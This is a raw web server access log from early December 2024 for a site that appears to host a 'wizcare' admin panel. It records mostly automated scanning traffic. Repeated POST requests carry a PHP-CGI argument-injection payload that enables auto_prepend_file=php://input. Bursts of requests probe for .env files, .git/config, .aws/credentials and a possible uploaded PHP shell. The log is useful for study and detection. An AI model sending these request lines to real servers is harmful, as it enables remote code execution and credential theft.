[01/Dec/2024:20:55:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:21:21:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/about/dialogs/hidpi/logo_ckeditor.png HTTP/1.1" 13339
[01/Dec/2024:21:24:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:21:27:37 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[01/Dec/2024:21:34:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:21:51:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:21:54:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/123123(1).jpg HTTP/1.1" 36683
[01/Dec/2024:21:55:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:22:14:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:22:29:15 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[01/Dec/2024:22:34:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:22:45:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/images/footer-bg.svg HTTP/1.1" -
[01/Dec/2024:22:51:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:22:54:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:22:56:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:23:06:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/get_times.php.locked HTTP/1.1" -
[01/Dec/2024:23:06:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[01/Dec/2024:23:14:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:23:19:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/flash/images/placeholder.png HTTP/1.1" 256
[01/Dec/2024:23:29:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:23:30:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/test/del_file.php.locked HTTP/1.1" -
[01/Dec/2024:23:34:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:23:36:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/samples/ajax.html.locked HTTP/1.1" -
[01/Dec/2024:23:50:02 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[01/Dec/2024:23:51:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:23:54:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:23:56:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:00:14:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:00:34:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:00:35:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[02/Dec/2024:00:35:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:00:35:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/images/refresh.png HTTP/1.1" 422
[02/Dec/2024:00:51:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:00:54:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:00:59:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:01:08:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo/datebox/basic.html HTTP/1.1" -
[02/Dec/2024:01:13:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:01:19:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:01:33:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:01:34:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:01:51:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:01:54:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:01:56:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/123.php HTTP/1.1" -
[02/Dec/2024:02:14:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:02:33:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:02:51:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:02:54:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:03:02:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:03:10:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /api HTTP/1.1" 300
[02/Dec/2024:03:10:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /openapi/v2 HTTP/1.1" 300
[02/Dec/2024:03:10:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /stats HTTP/1.1" 300
[02/Dec/2024:03:14:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:03:33:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:03:39:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:03:51:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[02/Dec/2024:03:51:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:03:54:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:04:02:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[02/Dec/2024:04:02:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:04:03:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /prod/.env HTTP/1.1" 300
[02/Dec/2024:04:03:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /files/.git/config HTTP/1.1" 300
[02/Dec/2024:04:03:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /media../.git/config HTTP/1.1" 300
[02/Dec/2024:04:03:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /www/.git/config HTTP/1.1" 300
[02/Dec/2024:04:03:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.bak HTTP/1.1" 300
[02/Dec/2024:04:03:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.test HTTP/1.1" 300
[02/Dec/2024:04:03:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /static../.git/config HTTP/1.1" 300
[02/Dec/2024:04:03:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.backup HTTP/1.1" 300
[02/Dec/2024:04:03:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.live HTTP/1.1" 300
[02/Dec/2024:04:03:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.staging.local HTTP/1.1" 300
[02/Dec/2024:04:03:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.docker HTTP/1.1" 300
[02/Dec/2024:04:03:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /configuration/.env HTTP/1.1" 300
[02/Dec/2024:04:03:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.uat HTTP/1.1" 300
[02/Dec/2024:04:03:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /src/.git/config HTTP/1.1" 300
[02/Dec/2024:04:03:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.default HTTP/1.1" 300
[02/Dec/2024:04:03:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.envrc HTTP/1.1" 300
[02/Dec/2024:04:03:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /media/.git/config HTTP/1.1" 300
[02/Dec/2024:04:03:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.prod HTTP/1.1" 300
[02/Dec/2024:04:03:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /build/.env HTTP/1.1" 300
[02/Dec/2024:04:03:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.testing.local HTTP/1.1" 300
[02/Dec/2024:04:03:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /app/.git/config HTTP/1.1" 300
[02/Dec/2024:04:03:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /data/.git/config HTTP/1.1" 300
[02/Dec/2024:04:03:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config.json HTTP/1.1" 300
[02/Dec/2024:04:03:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /docker-compose.prod.yml HTTP/1.1" 300
[02/Dec/2024:04:03:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.local HTTP/1.1" 300
[02/Dec/2024:04:14:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:04:29:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:04:33:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:04:40:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.0" -
[02/Dec/2024:04:41:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:04:41:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:04:41:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[02/Dec/2024:04:51:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:04:54:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:05:04:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:05:14:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:05:24:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/layout_arrows.png HTTP/1.1" 319
[02/Dec/2024:05:33:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:05:44:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:05:51:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:05:54:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:06:09:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/e4.png HTTP/1.1" 93021
[02/Dec/2024:06:14:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:06:33:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:06:38:18 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:06:39:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[02/Dec/2024:06:39:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:06:39:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/phpinfo.php HTTP/1.1" 305
[02/Dec/2024:06:40:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:06:40:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:06:40:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[02/Dec/2024:06:40:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[02/Dec/2024:06:40:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:06:40:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /sitemap.xml HTTP/1.1" -
[02/Dec/2024:06:40:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:06:40:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config.json HTTP/1.1" 300
[02/Dec/2024:06:51:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:06:54:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:07:07:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:07:14:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:07:22:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:07:26:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_div.png HTTP/1.1" 127
[02/Dec/2024:07:33:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:07:48:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:07:51:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:07:52:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/icons_hidpi.png HTTP/1.1" 38309
[02/Dec/2024:07:54:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:08:13:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:08:14:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/t.php.bak HTTP/1.1" -
[02/Dec/2024:08:33:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:08:34:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/photo.png HTTP/1.1" 6639
[02/Dec/2024:08:51:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:08:54:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:09:05:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:09:07:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-7.jpg HTTP/1.1" 85643
[02/Dec/2024:09:10:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:09:14:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:09:18:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/index9328i.html HTTP/1.1" -
[02/Dec/2024:09:23:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/2f2.png HTTP/1.1" 117728
[02/Dec/2024:09:33:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:09:36:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:09:36:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[02/Dec/2024:09:36:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:09:36:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /configuration/.env HTTP/1.1" 300
[02/Dec/2024:09:36:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /backup/.git/config HTTP/1.1" 300
[02/Dec/2024:09:36:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /src/.git/config HTTP/1.1" 300
[02/Dec/2024:09:36:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.aws/credentials HTTP/1.1" 300
